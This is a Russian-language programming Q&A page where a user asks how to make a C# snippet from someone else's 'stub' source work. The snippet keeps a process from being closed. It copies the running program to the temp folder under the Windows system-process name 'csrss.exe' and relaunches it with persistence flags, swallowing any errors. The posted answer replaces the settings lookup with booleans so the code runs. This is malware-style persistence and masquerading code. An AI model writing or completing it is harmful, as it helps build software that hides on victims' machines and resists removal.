.NET 2.x Передать нужный параметр - C#

Узнай цену своей работы

Формулировка задачи:

Нашел в чужом сорсе функцию, которая защищает процес от закрытия пользователем. Но так как сорсы так называемомго стаба, то не могу понять какой параметр передать нужно. Может кто-то догадается )
Листинг программы
  1. int handle = Process.GetCurrentProcess().Id;
  2. if(GetSetting<bool>("ProcessPersistence") || GetSetting<bool>("StartupPersistence"))
  3. {
  4. try
  5. {
  6. File.Copy(Application.ExecutablePath, Path.GetTempPath() + "csrss.exe", true);
  7. Process.Start(Path.GetTempPath() + "csrss.exe", (GetSetting<bool>("ProcessPersistence") ? "-p " + """ + Application.ExecutablePath + "" " + handle.ToString() + " ": "") + (GetSetting<bool>("StartupPersistence") ? "-s" : ""));
  8. }
  9. catch { }
  10. }
Выбор происходит чекбоксом.
Актуально. Нужно понять какие параметры передать вместо
Листинг программы
  1. GetSetting<bool>

Решение задачи: «.NET 2.x Передать нужный параметр»

textual
Листинг программы
  1. Process.Start(Path.GetTempPath() + "csrss.exe", (ProcessPersistence ? "-p " + """ + Application.ExecutablePath + "" " + handle.ToString() + " ": "") + (StartupPersistence ? "-s" : ""));

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

12   голосов , оценка 3.833 из 5

Нужна аналогичная работа?

Оформи быстрый заказ и узнай стоимость

Бесплатно
Оформите заказ и авторы начнут откликаться уже через 10 минут
Похожие ответы